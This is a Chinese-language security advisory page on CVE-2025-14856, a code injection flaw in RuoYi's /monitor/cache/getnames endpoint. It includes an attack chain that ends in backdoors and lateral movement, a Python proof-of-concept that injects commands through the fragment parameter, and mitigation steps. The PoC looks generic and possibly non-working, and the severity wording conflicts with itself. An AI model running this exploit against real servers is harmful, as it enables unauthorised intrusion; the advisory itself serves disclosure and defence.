IPBUF安全漏洞报告
English
CVE-2025-14856 CVSS 6.3 中危

CVE-2025-14856 若依RuoYi框架/monitor/cache/getnames接口代码注入漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-14856
漏洞类型
代码注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
y_project RuoYi

相关标签

代码注入远程代码执行RuoYi若依框架CVE-2025-14856Web安全漏洞利用

漏洞概述

CVE-2025-14856是存在于若依(RuoYi)框架中的一个高危代码注入漏洞。该漏洞影响RuoYi框架4.8.1及之前版本,攻击者可利用框架中/monitor/cache/getnames接口的fragment参数未进行充分过滤的缺陷,注入并执行任意代码。由于该漏洞具备远程攻击能力且只需低权限认证即可利用,对使用该框架的企业应用系统构成了严重安全威胁。攻击者无需任何用户交互即可完成漏洞利用,一旦成功可获取系统敏感数据、篡改业务逻辑甚至完全接管服务器。该漏洞已于2025年12月18日公开披露,漏洞利用代码已在互联网传播,建议受影响用户立即采取防护措施。

技术细节

该漏洞源于RuoYi框架在处理/monitor/cache/getnames接口请求时,对用户输入的fragment参数缺乏有效的安全过滤机制。攻击者可通过构造恶意payload注入到fragment参数中,由于该参数直接参与后端代码逻辑处理且未经过安全编码或参数化处理,导致注入的恶意代码被解释执行。漏洞影响框架的缓存监控模块,攻击者利用此漏洞可实现远程代码执行(RCE),获取服务器完全控制权。攻击过程简单直接,无需复杂的绕过技术,且框架默认配置下该接口处于可访问状态。建议立即升级到RuoYi 4.8.1之后的版本,并对该接口实施访问控制或添加参数验证逻辑。

攻击链分析

STEP 1
步骤1
扫描目标服务器,识别运行RuoYi框架且版本<=4.8.1的Web应用
STEP 2
步骤2
访问/monitor/cache/getnames接口,确认端点可访问且存在fragment参数
STEP 3
步骤3
构造恶意payload,在fragment参数中注入系统命令或恶意代码
STEP 4
步骤4
发送携带注入代码的HTTP请求,触发代码执行
STEP 5
步骤5
获取命令执行结果,实现远程代码执行(RCE)
STEP 6
步骤6
进一步利用:读取敏感数据、建立持久化后门、横向移动等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14856 PoC - RuoYi Code Injection in /monitor/cache/getnames # Target: RuoYi <= 4.8.1 def exploit(target_url, command): """ Exploit code injection vulnerability in /monitor/cache/getnames endpoint The fragment parameter is vulnerable to code injection """ endpoint = "/monitor/cache/getnames" # Malicious payload with injected code # Modify the fragment parameter to inject arbitrary code payload = { "fragment": f"';{command};'" # Code injection payload } try: # Send exploit request response = requests.get( f"{target_url.rstrip('/')}{endpoint}", params=payload, timeout=10, verify=False ) print(f"[*] Request sent to {target_url}{endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://vulnerable-server.com 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

影响范围

RuoYi <= 4.8.1

防御指南

临时缓解措施
立即限制/monitor/cache/getnames接口的访问权限,仅允许受信任的管理IP访问;同时在应用层添加输入验证逻辑,对fragment等参数进行严格过滤;如条件允许,建议临时关闭该功能模块,待官方发布修复补丁后升级框架版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表